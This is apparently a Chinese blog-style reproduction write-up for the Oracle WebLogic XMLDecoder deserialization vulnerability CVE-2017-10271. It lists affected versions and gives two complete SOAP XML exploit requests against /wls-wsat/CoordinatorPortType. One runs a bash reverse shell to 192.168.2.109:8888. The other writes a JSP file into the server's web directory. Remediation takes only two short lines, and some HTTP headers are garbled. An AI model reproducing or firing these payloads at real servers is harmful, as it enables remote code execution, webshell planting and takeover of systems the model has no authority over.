WeblogicXMLDecoder反序列化漏洞(CVE-2017-10271)
Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)
漏洞概述:
-该漏洞产⽣于WLS-WebServices这个核⼼组件中,因为它使⽤XMLDecoder来解析XML数据,直接构造payload,发送xml数据,即可利⽤该漏洞,上传webshell等等。
漏洞版本:
10.3.6.0.0,12.2.1.1.0,12.2.1.2.0,12.1.3.0.0
漏洞搭建:
漏洞复现:
⾸先进⾏初步判断,看是否存在该页⾯,wls-wsat/CoordinatorPortType
payload(发送数据xml时,反弹shell语句,要进⾏编码。)
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 172.17.0.1:7001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/hAccept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close
Content-Type: text/xml
Content-Length: 639
decoder
<soapenv:Envelope xmlns:soapenv="/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="bea/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.2.109/8888 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
可以成功反弹shell
可以成功上传⽂件,路径为ip/bea_wls_internal/test.jsp
<soapenv:Envelope xmlns:soapenv="/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="bea/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>    <void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
漏洞修复:
打上最新补丁
删除wls-wsat组件
ps:余⽣很长,请多指教。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。